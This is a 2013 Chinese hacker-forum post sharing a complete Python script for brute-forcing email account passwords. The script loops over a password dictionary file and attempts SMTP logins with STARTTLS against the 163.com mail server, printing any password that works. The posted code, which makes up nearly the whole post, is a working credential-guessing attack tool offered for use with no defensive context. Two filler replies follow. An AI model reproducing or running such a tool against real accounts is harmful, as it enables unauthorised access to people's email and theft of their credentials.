搜索
查看: 560|回复: 2

暴破邮箱密码的python代码

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2013-11-30 20:13:25 来自手机 | 显示全部楼层 |阅读模式
  1. #!/usr/bin/env python
  2. #coding:utf-8

  3. from smtplib import SMTP as smtp
  4. import optparse
  5. import time
  6. def scanemail(uname,upass):
  7.         s=smtp("smtp.163.com")
  8.         try:
  9.             s.ehlo()  #发送ehlo命令,
  10.             s.starttls() #初始化加密通道
  11.             s.ehlo()  #再次发送ehlo,这次是加密的
  12.             s.login(uname,upass)
  13.         except Exception,LoginError:
  14.             print "[-]:%s : %s" %(uname,upass)
  15.         else:
  16.             out="[+]:%s : %s" %(uname,upass)  #如果成功了,就返回真值
  17.             print out
  18.             return True
  19.         return False

  20. def main():
  21.         parser=optparse.OptionParser("usage: ./prog.py"+"-u <username> -d <passwordfile>")
  22.         parser.add_option('-u',dest='uname',type='string',help='specify email name')
  23.         parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')
  24.         (options,args)=parser.parse_args()
  25.         if (options.uname==None) | (options.passwdfile==None):
  26.             print parser.usage
  27.             exit(0)
  28.         else:
  29.             uname=options.uname
  30.             passwdfile=options.passwdfile
  31.         passFile=open(passwdfile)
  32.         for line in passFile.readlines():
  33.             password=line.strip('\n')
  34.             if scanemail(uname,password):
  35.             break

  36. if __name__=='__main__':
  37.         main()
复制代码
专业回帖 该用户已被删除
发表于 2013-11-30 20:19:34 | 显示全部楼层
有道理。。。
专业回帖 该用户已被删除
发表于 2013-11-30 20:25:11 | 显示全部楼层
我抢、我抢、我抢沙发~
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表